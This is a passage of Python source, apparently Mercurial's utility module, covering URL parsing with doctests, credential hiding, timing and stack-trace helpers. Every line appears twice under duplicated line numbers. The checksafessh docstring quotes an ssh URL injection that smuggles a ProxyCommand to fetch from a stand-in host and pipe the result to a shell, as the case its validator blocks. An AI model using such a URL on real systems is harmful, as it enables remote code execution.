2974 >>> url(br'\\blah\blah\blah#baz')
2975 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2975 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2976 >>> url(br'file:///C:\users\me')
2976 >>> url(br'file:///C:\users\me')
2977 <url scheme: 'file', path: 'C:\\users\\me'>
2977 <url scheme: 'file', path: 'C:\\users\\me'>
2978
2978
2979 Authentication credentials:
2979 Authentication credentials:
2980
2980
2981 >>> url(b'ssh://joe:xyz@x/repo')
2981 >>> url(b'ssh://joe:xyz@x/repo')
2982 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2982 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2983 >>> url(b'ssh://joe@x/repo')
2983 >>> url(b'ssh://joe@x/repo')
2984 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2984 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2985
2985
2986 Query strings and fragments:
2986 Query strings and fragments:
2987
2987
2988 >>> url(b'http://host/a?b#c')
2988 >>> url(b'http://host/a?b#c')
2989 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2989 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2990 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2990 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2991 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2991 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2992
2992
2993 Empty path:
2993 Empty path:
2994
2994
2995 >>> url(b'')
2995 >>> url(b'')
2996 <url path: ''>
2996 <url path: ''>
2997 >>> url(b'#a')
2997 >>> url(b'#a')
2998 <url path: '', fragment: 'a'>
2998 <url path: '', fragment: 'a'>
2999 >>> url(b'http://host/')
2999 >>> url(b'http://host/')
3000 <url scheme: 'http', host: 'host', path: ''>
3000 <url scheme: 'http', host: 'host', path: ''>
3001 >>> url(b'http://host/#a')
3001 >>> url(b'http://host/#a')
3002 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3002 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3003
3003
3004 Only scheme:
3004 Only scheme:
3005
3005
3006 >>> url(b'http:')
3006 >>> url(b'http:')
3007 <url scheme: 'http'>
3007 <url scheme: 'http'>
3008 """
3008 """
3009
3009
3010 _safechars = b"!~*'()+"
3010 _safechars = b"!~*'()+"
3011 _safepchars = b"/!~*'()+:\\"
3011 _safepchars = b"/!~*'()+:\\"
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3013
3013
3014 def __init__(self, path, parsequery=True, parsefragment=True):
3014 def __init__(self, path, parsequery=True, parsefragment=True):
3015 # We slowly chomp away at path until we have only the path left
3015 # We slowly chomp away at path until we have only the path left
3016 self.scheme = self.user = self.passwd = self.host = None
3016 self.scheme = self.user = self.passwd = self.host = None
3017 self.port = self.path = self.query = self.fragment = None
3017 self.port = self.path = self.query = self.fragment = None
3018 self._localpath = True
3018 self._localpath = True
3019 self._hostport = b''
3019 self._hostport = b''
3020 self._origpath = path
3020 self._origpath = path
3021
3021
3022 if parsefragment and b'#' in path:
3022 if parsefragment and b'#' in path:
3023 path, self.fragment = path.split(b'#', 1)
3023 path, self.fragment = path.split(b'#', 1)
3024
3024
3025 # special case for Windows drive letters and UNC paths
3025 # special case for Windows drive letters and UNC paths
3026 if hasdriveletter(path) or path.startswith(b'\\\\'):
3026 if hasdriveletter(path) or path.startswith(b'\\\\'):
3027 self.path = path
3027 self.path = path
3028 return
3028 return
3029
3029
3030 # For compatibility reasons, we can't handle bundle paths as
3030 # For compatibility reasons, we can't handle bundle paths as
3031 # normal URLS
3031 # normal URLS
3032 if path.startswith(b'bundle:'):
3032 if path.startswith(b'bundle:'):
3033 self.scheme = b'bundle'
3033 self.scheme = b'bundle'
3034 path = path[7:]
3034 path = path[7:]
3035 if path.startswith(b'//'):
3035 if path.startswith(b'//'):
3036 path = path[2:]
3036 path = path[2:]
3037 self.path = path
3037 self.path = path
3038 return
3038 return
3039
3039
3040 if self._matchscheme(path):
3040 if self._matchscheme(path):
3041 parts = path.split(b':', 1)
3041 parts = path.split(b':', 1)
3042 if parts[0]:
3042 if parts[0]:
3043 self.scheme, path = parts
3043 self.scheme, path = parts
3044 self._localpath = False
3044 self._localpath = False
3045
3045
3046 if not path:
3046 if not path:
3047 path = None
3047 path = None
3048 if self._localpath:
3048 if self._localpath:
3049 self.path = b''
3049 self.path = b''
3050 return
3050 return
3051 else:
3051 else:
3052 if self._localpath:
3052 if self._localpath:
3053 self.path = path
3053 self.path = path
3054 return
3054 return
3055
3055
3056 if parsequery and b'?' in path:
3056 if parsequery and b'?' in path:
3057 path, self.query = path.split(b'?', 1)
3057 path, self.query = path.split(b'?', 1)
3058 if not path:
3058 if not path:
3059 path = None
3059 path = None
3060 if not self.query:
3060 if not self.query:
3061 self.query = None
3061 self.query = None
3062
3062
3063 # // is required to specify a host/authority
3063 # // is required to specify a host/authority
3064 if path and path.startswith(b'//'):
3064 if path and path.startswith(b'//'):
3065 parts = path[2:].split(b'/', 1)
3065 parts = path[2:].split(b'/', 1)
3066 if len(parts) > 1:
3066 if len(parts) > 1:
3067 self.host, path = parts
3067 self.host, path = parts
3068 else:
3068 else:
3069 self.host = parts[0]
3069 self.host = parts[0]
3070 path = None
3070 path = None
3071 if not self.host:
3071 if not self.host:
3072 self.host = None
3072 self.host = None
3073 # path of file:///d is /d
3073 # path of file:///d is /d
3074 # path of file:///d:/ is d:/, not /d:/
3074 # path of file:///d:/ is d:/, not /d:/
3075 if path and not hasdriveletter(path):
3075 if path and not hasdriveletter(path):
3076 path = b'/' + path
3076 path = b'/' + path
3077
3077
3078 if self.host and b'@' in self.host:
3078 if self.host and b'@' in self.host:
3079 self.user, self.host = self.host.rsplit(b'@', 1)
3079 self.user, self.host = self.host.rsplit(b'@', 1)
3080 if b':' in self.user:
3080 if b':' in self.user:
3081 self.user, self.passwd = self.user.split(b':', 1)
3081 self.user, self.passwd = self.user.split(b':', 1)
3082 if not self.host:
3082 if not self.host:
3083 self.host = None
3083 self.host = None
3084
3084
3085 # Don't split on colons in IPv6 addresses without ports
3085 # Don't split on colons in IPv6 addresses without ports
3086 if (
3086 if (
3087 self.host
3087 self.host
3088 and b':' in self.host
3088 and b':' in self.host
3089 and not (
3089 and not (
3090 self.host.startswith(b'[') and self.host.endswith(b']')
3090 self.host.startswith(b'[') and self.host.endswith(b']')
3091 )
3091 )
3092 ):
3092 ):
3093 self._hostport = self.host
3093 self._hostport = self.host
3094 self.host, self.port = self.host.rsplit(b':', 1)
3094 self.host, self.port = self.host.rsplit(b':', 1)
3095 if not self.host:
3095 if not self.host:
3096 self.host = None
3096 self.host = None
3097
3097
3098 if (
3098 if (
3099 self.host
3099 self.host
3100 and self.scheme == b'file'
3100 and self.scheme == b'file'
3101 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3101 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3102 ):
3102 ):
3103 raise error.Abort(
3103 raise error.Abort(
3104 _(b'file:// URLs can only refer to localhost')
3104 _(b'file:// URLs can only refer to localhost')
3105 )
3105 )
3106
3106
3107 self.path = path
3107 self.path = path
3108
3108
3109 # leave the query string escaped
3109 # leave the query string escaped
3110 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3110 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3111 v = getattr(self, a)
3111 v = getattr(self, a)
3112 if v is not None:
3112 if v is not None:
3113 setattr(self, a, urlreq.unquote(v))
3113 setattr(self, a, urlreq.unquote(v))
3114
3114
3115 @encoding.strmethod
3115 @encoding.strmethod
3116 def __repr__(self):
3116 def __repr__(self):
3117 attrs = []
3117 attrs = []
3118 for a in (
3118 for a in (
3119 b'scheme',
3119 b'scheme',
3120 b'user',
3120 b'user',
3121 b'passwd',
3121 b'passwd',
3122 b'host',
3122 b'host',
3123 b'port',
3123 b'port',
3124 b'path',
3124 b'path',
3125 b'query',
3125 b'query',
3126 b'fragment',
3126 b'fragment',
3127 ):
3127 ):
3128 v = getattr(self, a)
3128 v = getattr(self, a)
3129 if v is not None:
3129 if v is not None:
3130 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3130 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3131 return b'<url %s>' % b', '.join(attrs)
3131 return b'<url %s>' % b', '.join(attrs)
3132
3132
3133 def __bytes__(self):
3133 def __bytes__(self):
3134 r"""Join the URL's components back into a URL string.
3134 r"""Join the URL's components back into a URL string.
3135
3135
3136 Examples:
3136 Examples:
3137
3137
3138 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3138 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3139 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3139 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3140 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3140 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3141 'http://user:pw@host:80/?foo=bar&baz=42'
3141 'http://user:pw@host:80/?foo=bar&baz=42'
3142 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3142 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3143 'http://user:pw@host:80/?foo=bar%3dbaz'
3143 'http://user:pw@host:80/?foo=bar%3dbaz'
3144 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3144 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3145 'ssh://user:pw@[::1]:2200//home/joe#'
3145 'ssh://user:pw@[::1]:2200//home/joe#'
3146 >>> bytes(url(b'http://localhost:80//'))
3146 >>> bytes(url(b'http://localhost:80//'))
3147 'http://localhost:80//'
3147 'http://localhost:80//'
3148 >>> bytes(url(b'http://localhost:80/'))
3148 >>> bytes(url(b'http://localhost:80/'))
3149 'http://localhost:80/'
3149 'http://localhost:80/'
3150 >>> bytes(url(b'http://localhost:80'))
3150 >>> bytes(url(b'http://localhost:80'))
3151 'http://localhost:80/'
3151 'http://localhost:80/'
3152 >>> bytes(url(b'bundle:foo'))
3152 >>> bytes(url(b'bundle:foo'))
3153 'bundle:foo'
3153 'bundle:foo'
3154 >>> bytes(url(b'bundle://../foo'))
3154 >>> bytes(url(b'bundle://../foo'))
3155 'bundle:../foo'
3155 'bundle:../foo'
3156 >>> bytes(url(b'path'))
3156 >>> bytes(url(b'path'))
3157 'path'
3157 'path'
3158 >>> bytes(url(b'file:///tmp/foo/bar'))
3158 >>> bytes(url(b'file:///tmp/foo/bar'))
3159 'file:///tmp/foo/bar'
3159 'file:///tmp/foo/bar'
3160 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3160 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3161 'file:///c:/tmp/foo/bar'
3161 'file:///c:/tmp/foo/bar'
3162 >>> print(url(br'bundle:foo\bar'))
3162 >>> print(url(br'bundle:foo\bar'))
3163 bundle:foo\bar
3163 bundle:foo\bar
3164 >>> print(url(br'file:///D:\data\hg'))
3164 >>> print(url(br'file:///D:\data\hg'))
3165 file:///D:\data\hg
3165 file:///D:\data\hg
3166 """
3166 """
3167 if self._localpath:
3167 if self._localpath:
3168 s = self.path
3168 s = self.path
3169 if self.scheme == b'bundle':
3169 if self.scheme == b'bundle':
3170 s = b'bundle:' + s
3170 s = b'bundle:' + s
3171 if self.fragment:
3171 if self.fragment:
3172 s += b'#' + self.fragment
3172 s += b'#' + self.fragment
3173 return s
3173 return s
3174
3174
3175 s = self.scheme + b':'
3175 s = self.scheme + b':'
3176 if self.user or self.passwd or self.host:
3176 if self.user or self.passwd or self.host:
3177 s += b'//'
3177 s += b'//'
3178 elif self.scheme and (
3178 elif self.scheme and (
3179 not self.path
3179 not self.path
3180 or self.path.startswith(b'/')
3180 or self.path.startswith(b'/')
3181 or hasdriveletter(self.path)
3181 or hasdriveletter(self.path)
3182 ):
3182 ):
3183 s += b'//'
3183 s += b'//'
3184 if hasdriveletter(self.path):
3184 if hasdriveletter(self.path):
3185 s += b'/'
3185 s += b'/'
3186 if self.user:
3186 if self.user:
3187 s += urlreq.quote(self.user, safe=self._safechars)
3187 s += urlreq.quote(self.user, safe=self._safechars)
3188 if self.passwd:
3188 if self.passwd:
3189 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3189 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3190 if self.user or self.passwd:
3190 if self.user or self.passwd:
3191 s += b'@'
3191 s += b'@'
3192 if self.host:
3192 if self.host:
3193 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3193 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3194 s += urlreq.quote(self.host)
3194 s += urlreq.quote(self.host)
3195 else:
3195 else:
3196 s += self.host
3196 s += self.host
3197 if self.port:
3197 if self.port:
3198 s += b':' + urlreq.quote(self.port)
3198 s += b':' + urlreq.quote(self.port)
3199 if self.host:
3199 if self.host:
3200 s += b'/'
3200 s += b'/'
3201 if self.path:
3201 if self.path:
3202 # TODO: similar to the query string, we should not unescape the
3202 # TODO: similar to the query string, we should not unescape the
3203 # path when we store it, the path might contain '%2f' = '/',
3203 # path when we store it, the path might contain '%2f' = '/',
3204 # which we should *not* escape.
3204 # which we should *not* escape.
3205 s += urlreq.quote(self.path, safe=self._safepchars)
3205 s += urlreq.quote(self.path, safe=self._safepchars)
3206 if self.query:
3206 if self.query:
3207 # we store the query in escaped form.
3207 # we store the query in escaped form.
3208 s += b'?' + self.query
3208 s += b'?' + self.query
3209 if self.fragment is not None:
3209 if self.fragment is not None:
3210 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3210 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3211 return s
3211 return s
3212
3212
3213 __str__ = encoding.strmethod(__bytes__)
3213 __str__ = encoding.strmethod(__bytes__)
3214
3214
3215 def authinfo(self):
3215 def authinfo(self):
3216 user, passwd = self.user, self.passwd
3216 user, passwd = self.user, self.passwd
3217 try:
3217 try:
3218 self.user, self.passwd = None, None
3218 self.user, self.passwd = None, None
3219 s = bytes(self)
3219 s = bytes(self)
3220 finally:
3220 finally:
3221 self.user, self.passwd = user, passwd
3221 self.user, self.passwd = user, passwd
3222 if not self.user:
3222 if not self.user:
3223 return (s, None)
3223 return (s, None)
3224 # authinfo[1] is passed to urllib2 password manager, and its
3224 # authinfo[1] is passed to urllib2 password manager, and its
3225 # URIs must not contain credentials. The host is passed in the
3225 # URIs must not contain credentials. The host is passed in the
3226 # URIs list because Python < 2.4.3 uses only that to search for
3226 # URIs list because Python < 2.4.3 uses only that to search for
3227 # a password.
3227 # a password.
3228 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3228 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3229
3229
3230 def isabs(self):
3230 def isabs(self):
3231 if self.scheme and self.scheme != b'file':
3231 if self.scheme and self.scheme != b'file':
3232 return True # remote URL
3232 return True # remote URL
3233 if hasdriveletter(self.path):
3233 if hasdriveletter(self.path):
3234 return True # absolute for our purposes - can't be joined()
3234 return True # absolute for our purposes - can't be joined()
3235 if self.path.startswith(br'\\'):
3235 if self.path.startswith(br'\\'):
3236 return True # Windows UNC path
3236 return True # Windows UNC path
3237 if self.path.startswith(b'/'):
3237 if self.path.startswith(b'/'):
3238 return True # POSIX-style
3238 return True # POSIX-style
3239 return False
3239 return False
3240
3240
3241 def localpath(self):
3241 def localpath(self):
3242 if self.scheme == b'file' or self.scheme == b'bundle':
3242 if self.scheme == b'file' or self.scheme == b'bundle':
3243 path = self.path or b'/'
3243 path = self.path or b'/'
3244 # For Windows, we need to promote hosts containing drive
3244 # For Windows, we need to promote hosts containing drive
3245 # letters to paths with drive letters.
3245 # letters to paths with drive letters.
3246 if hasdriveletter(self._hostport):
3246 if hasdriveletter(self._hostport):
3247 path = self._hostport + b'/' + self.path
3247 path = self._hostport + b'/' + self.path
3248 elif (
3248 elif (
3249 self.host is not None and self.path and not hasdriveletter(path)
3249 self.host is not None and self.path and not hasdriveletter(path)
3250 ):
3250 ):
3251 path = b'/' + path
3251 path = b'/' + path
3252 return path
3252 return path
3253 return self._origpath
3253 return self._origpath
3254
3254
3255 def islocal(self):
3255 def islocal(self):
3256 '''whether localpath will return something that posixfile can open'''
3256 '''whether localpath will return something that posixfile can open'''
3257 return (
3257 return (
3258 not self.scheme
3258 not self.scheme
3259 or self.scheme == b'file'
3259 or self.scheme == b'file'
3260 or self.scheme == b'bundle'
3260 or self.scheme == b'bundle'
3261 )
3261 )
3262
3262
3263
3263
3264 def hasscheme(path):
3264 def hasscheme(path):
3265 return bool(url(path).scheme)
3265 return bool(url(path).scheme)
3266
3266
3267
3267
3268 def hasdriveletter(path):
3268 def hasdriveletter(path):
3269 return path and path[1:2] == b':' and path[0:1].isalpha()
3269 return path and path[1:2] == b':' and path[0:1].isalpha()
3270
3270
3271
3271
3272 def urllocalpath(path):
3272 def urllocalpath(path):
3273 return url(path, parsequery=False, parsefragment=False).localpath()
3273 return url(path, parsequery=False, parsefragment=False).localpath()
3274
3274
3275
3275
3276 def checksafessh(path):
3276 def checksafessh(path):
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3278
3278
3279 This is a sanity check for ssh urls. ssh will parse the first item as
3279 This is a sanity check for ssh urls. ssh will parse the first item as
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3281 Let's prevent these potentially exploited urls entirely and warn the
3281 Let's prevent these potentially exploited urls entirely and warn the
3282 user.
3282 user.
3283
3283
3284 Raises an error.Abort when the url is unsafe.
3284 Raises an error.Abort when the url is unsafe.
3285 """
3285 """
3286 path = urlreq.unquote(path)
3286 path = urlreq.unquote(path)
3287 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3287 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3288 raise error.Abort(
3288 raise error.Abort(
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3290 )
3290 )
3291
3291
3292
3292
3293 def hidepassword(u):
3293 def hidepassword(u):
3294 '''hide user credential in a url string'''
3294 '''hide user credential in a url string'''
3295 u = url(u)
3295 u = url(u)
3296 if u.passwd:
3296 if u.passwd:
3297 u.passwd = b'***'
3297 u.passwd = b'***'
3298 return bytes(u)
3298 return bytes(u)
3299
3299
3300
3300
3301 def removeauth(u):
3301 def removeauth(u):
3302 '''remove all authentication information from a url string'''
3302 '''remove all authentication information from a url string'''
3303 u = url(u)
3303 u = url(u)
3304 u.user = u.passwd = None
3304 u.user = u.passwd = None
3305 return bytes(u)
3305 return bytes(u)
3306
3306
3307
3307
3308 timecount = unitcountfn(
3308 timecount = unitcountfn(
3309 (1, 1e3, _(b'%.0f s')),
3309 (1, 1e3, _(b'%.0f s')),
3310 (100, 1, _(b'%.1f s')),
3310 (100, 1, _(b'%.1f s')),
3311 (10, 1, _(b'%.2f s')),
3311 (10, 1, _(b'%.2f s')),
3312 (1, 1, _(b'%.3f s')),
3312 (1, 1, _(b'%.3f s')),
3313 (100, 0.001, _(b'%.1f ms')),
3313 (100, 0.001, _(b'%.1f ms')),
3314 (10, 0.001, _(b'%.2f ms')),
3314 (10, 0.001, _(b'%.2f ms')),
3315 (1, 0.001, _(b'%.3f ms')),
3315 (1, 0.001, _(b'%.3f ms')),
3316 (100, 0.000001, _(b'%.1f us')),
3316 (100, 0.000001, _(b'%.1f us')),
3317 (10, 0.000001, _(b'%.2f us')),
3317 (10, 0.000001, _(b'%.2f us')),
3318 (1, 0.000001, _(b'%.3f us')),
3318 (1, 0.000001, _(b'%.3f us')),
3319 (100, 0.000000001, _(b'%.1f ns')),
3319 (100, 0.000000001, _(b'%.1f ns')),
3320 (10, 0.000000001, _(b'%.2f ns')),
3320 (10, 0.000000001, _(b'%.2f ns')),
3321 (1, 0.000000001, _(b'%.3f ns')),
3321 (1, 0.000000001, _(b'%.3f ns')),
3322 )
3322 )
3323
3323
3324
3324
3325 @attr.s
3325 @attr.s
3326 class timedcmstats(object):
3326 class timedcmstats(object):
3327 """Stats information produced by the timedcm context manager on entering."""
3327 """Stats information produced by the timedcm context manager on entering."""
3328
3328
3329 # the starting value of the timer as a float (meaning and resulution is
3329 # the starting value of the timer as a float (meaning and resulution is
3330 # platform dependent, see util.timer)
3330 # platform dependent, see util.timer)
3331 start = attr.ib(default=attr.Factory(lambda: timer()))
3331 start = attr.ib(default=attr.Factory(lambda: timer()))
3332 # the number of seconds as a floating point value; starts at 0, updated when
3332 # the number of seconds as a floating point value; starts at 0, updated when
3333 # the context is exited.
3333 # the context is exited.
3334 elapsed = attr.ib(default=0)
3334 elapsed = attr.ib(default=0)
3335 # the number of nested timedcm context managers.
3335 # the number of nested timedcm context managers.
3336 level = attr.ib(default=1)
3336 level = attr.ib(default=1)
3337
3337
3338 def __bytes__(self):
3338 def __bytes__(self):
3339 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3339 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3340
3340
3341 __str__ = encoding.strmethod(__bytes__)
3341 __str__ = encoding.strmethod(__bytes__)
3342
3342
3343
3343
3344 @contextlib.contextmanager
3344 @contextlib.contextmanager
3345 def timedcm(whencefmt, *whenceargs):
3345 def timedcm(whencefmt, *whenceargs):
3346 """A context manager that produces timing information for a given context.
3346 """A context manager that produces timing information for a given context.
3347
3347
3348 On entering a timedcmstats instance is produced.
3348 On entering a timedcmstats instance is produced.
3349
3349
3350 This context manager is reentrant.
3350 This context manager is reentrant.
3351
3351
3352 """
3352 """
3353 # track nested context managers
3353 # track nested context managers
3354 timedcm._nested += 1
3354 timedcm._nested += 1
3355 timing_stats = timedcmstats(level=timedcm._nested)
3355 timing_stats = timedcmstats(level=timedcm._nested)
3356 try:
3356 try:
3357 with tracing.log(whencefmt, *whenceargs):
3357 with tracing.log(whencefmt, *whenceargs):
3358 yield timing_stats
3358 yield timing_stats
3359 finally:
3359 finally:
3360 timing_stats.elapsed = timer() - timing_stats.start
3360 timing_stats.elapsed = timer() - timing_stats.start
3361 timedcm._nested -= 1
3361 timedcm._nested -= 1
3362
3362
3363
3363
3364 timedcm._nested = 0
3364 timedcm._nested = 0
3365
3365
3366
3366
3367 def timed(func):
3367 def timed(func):
3368 """Report the execution time of a function call to stderr.
3368 """Report the execution time of a function call to stderr.
3369
3369
3370 During development, use as a decorator when you need to measure
3370 During development, use as a decorator when you need to measure
3371 the cost of a function, e.g. as follows:
3371 the cost of a function, e.g. as follows:
3372
3372
3373 @util.timed
3373 @util.timed
3374 def foo(a, b, c):
3374 def foo(a, b, c):
3375 pass
3375 pass
3376 """
3376 """
3377
3377
3378 def wrapper(*args, **kwargs):
3378 def wrapper(*args, **kwargs):
3379 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3379 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3380 result = func(*args, **kwargs)
3380 result = func(*args, **kwargs)
3381 stderr = procutil.stderr
3381 stderr = procutil.stderr
3382 stderr.write(
3382 stderr.write(
3383 b'%s%s: %s\n'
3383 b'%s%s: %s\n'
3384 % (
3384 % (
3385 b' ' * time_stats.level * 2,
3385 b' ' * time_stats.level * 2,
3386 pycompat.bytestr(func.__name__),
3386 pycompat.bytestr(func.__name__),
3387 time_stats,
3387 time_stats,
3388 )
3388 )
3389 )
3389 )
3390 return result
3390 return result
3391
3391
3392 return wrapper
3392 return wrapper
3393
3393
3394
3394
3395 _sizeunits = (
3395 _sizeunits = (
3396 (b'm', 2 ** 20),
3396 (b'm', 2 ** 20),
3397 (b'k', 2 ** 10),
3397 (b'k', 2 ** 10),
3398 (b'g', 2 ** 30),
3398 (b'g', 2 ** 30),
3399 (b'kb', 2 ** 10),
3399 (b'kb', 2 ** 10),
3400 (b'mb', 2 ** 20),
3400 (b'mb', 2 ** 20),
3401 (b'gb', 2 ** 30),
3401 (b'gb', 2 ** 30),
3402 (b'b', 1),
3402 (b'b', 1),
3403 )
3403 )
3404
3404
3405
3405
3406 def sizetoint(s):
3406 def sizetoint(s):
3407 """Convert a space specifier to a byte count.
3407 """Convert a space specifier to a byte count.
3408
3408
3409 >>> sizetoint(b'30')
3409 >>> sizetoint(b'30')
3410 30
3410 30
3411 >>> sizetoint(b'2.2kb')
3411 >>> sizetoint(b'2.2kb')
3412 2252
3412 2252
3413 >>> sizetoint(b'6M')
3413 >>> sizetoint(b'6M')
3414 6291456
3414 6291456
3415 """
3415 """
3416 t = s.strip().lower()
3416 t = s.strip().lower()
3417 try:
3417 try:
3418 for k, u in _sizeunits:
3418 for k, u in _sizeunits:
3419 if t.endswith(k):
3419 if t.endswith(k):
3420 return int(float(t[: -len(k)]) * u)
3420 return int(float(t[: -len(k)]) * u)
3421 return int(t)
3421 return int(t)
3422 except ValueError:
3422 except ValueError:
3423 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3423 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3424
3424
3425
3425
3426 class hooks(object):
3426 class hooks(object):
3427 """A collection of hook functions that can be used to extend a
3427 """A collection of hook functions that can be used to extend a
3428 function's behavior. Hooks are called in lexicographic order,
3428 function's behavior. Hooks are called in lexicographic order,
3429 based on the names of their sources."""
3429 based on the names of their sources."""
3430
3430
3431 def __init__(self):
3431 def __init__(self):
3432 self._hooks = []
3432 self._hooks = []
3433
3433
3434 def add(self, source, hook):
3434 def add(self, source, hook):
3435 self._hooks.append((source, hook))
3435 self._hooks.append((source, hook))
3436
3436
3437 def __call__(self, *args):
3437 def __call__(self, *args):
3438 self._hooks.sort(key=lambda x: x[0])
3438 self._hooks.sort(key=lambda x: x[0])
3439 results = []
3439 results = []
3440 for source, hook in self._hooks:
3440 for source, hook in self._hooks:
3441 results.append(hook(*args))
3441 results.append(hook(*args))
3442 return results
3442 return results
3443
3443
3444
3444
3445 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3445 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3446 """Yields lines for a nicely formatted stacktrace.
3446 """Yields lines for a nicely formatted stacktrace.
3447 Skips the 'skip' last entries, then return the last 'depth' entries.
3447 Skips the 'skip' last entries, then return the last 'depth' entries.
3448 Each file+linenumber is formatted according to fileline.
3448 Each file+linenumber is formatted according to fileline.
3449 Each line is formatted according to line.
3449 Each line is formatted according to line.
3450 If line is None, it yields:
3450 If line is None, it yields:
3451 length of longest filepath+line number,
3451 length of longest filepath+line number,
3452 filepath+linenumber,
3452 filepath+linenumber,
3453 function
3453 function
3454
3454
3455 Not be used in production code but very convenient while developing.
3455 Not be used in production code but very convenient while developing.
3456 """
3456 """
3457 entries = [
3457 entries = [
3458 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3458 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3459 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3459 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3460 ][-depth:]
3460 ][-depth:]
3461 if entries:
3461 if entries:
3462 fnmax = max(len(entry[0]) for entry in entries)
3462 fnmax = max(len(entry[0]) for entry in entries)
3463 for fnln, func in entries:
3463 for fnln, func in entries:
3464 if line is None:
3464 if line is None:
3465 yield (fnmax, fnln, func)
3465 yield (fnmax, fnln, func)
3466 else:
3466 else:
3467 yield line % (fnmax, fnln, func)
3467 yield line % (fnmax, fnln, func)
3468
3468
3469
3469
3470 def debugstacktrace(
3470 def debugstacktrace(
3471 msg=b'stacktrace',
3471 msg=b'stacktrace',
3472 skip=0,
3472 skip=0,
3473 f=procutil.stderr,
3473 f=procutil.stderr,
3474 otherf=procutil.stdout,
3474 otherf=procutil.stdout,
3475 depth=0,
3475 depth=0,
3476 prefix=b'',
3476 prefix=b'',
3477 ):
3477 ):
3478 """Writes a message to f (stderr) with a nicely formatted stacktrace.
3478 """Writes a message to f (stderr) with a nicely formatted stacktrace.
3479 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3479 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3480 By default it will flush stdout first.
3480 By default it will flush stdout first.
3481 It can be used everywhere and intentionally does not require an ui object.
3481 It can be used everywhere and intentionally does not require an ui object.
3482 Not be used in production code but very convenient while developing.
3482 Not be used in production code but very convenient while developing.
3483 """
3483 """
3484 if otherf:
3484 if otherf:
3485 otherf.flush()
3485 otherf.flush()
3486 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3486 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3487 for line in getstackframes(skip + 1, depth=depth):
3487 for line in getstackframes(skip + 1, depth=depth):
3488 f.write(prefix + line)
3488 f.write(prefix + line)
3489 f.flush()
3489 f.flush()
3490
3490
3491
3491
3492 # convenient shortcut
3492 # convenient shortcut
3493 dst = debugstacktrace
3493 dst = debugstacktrace
3494
3494
3495
3495
3496 def safename(f, tag, ctx, others=None):
3496 def safename(f, tag, ctx, others=None):
3497 """
3497 """
3498 Generate a name that it is safe to rename f to in the given context.
3498 Generate a name that it is safe to rename f to in the given context.
3499
3499
3500 f: filename to rename
3500 f: filename to rename
3501 tag: a string tag that will be included in the new name
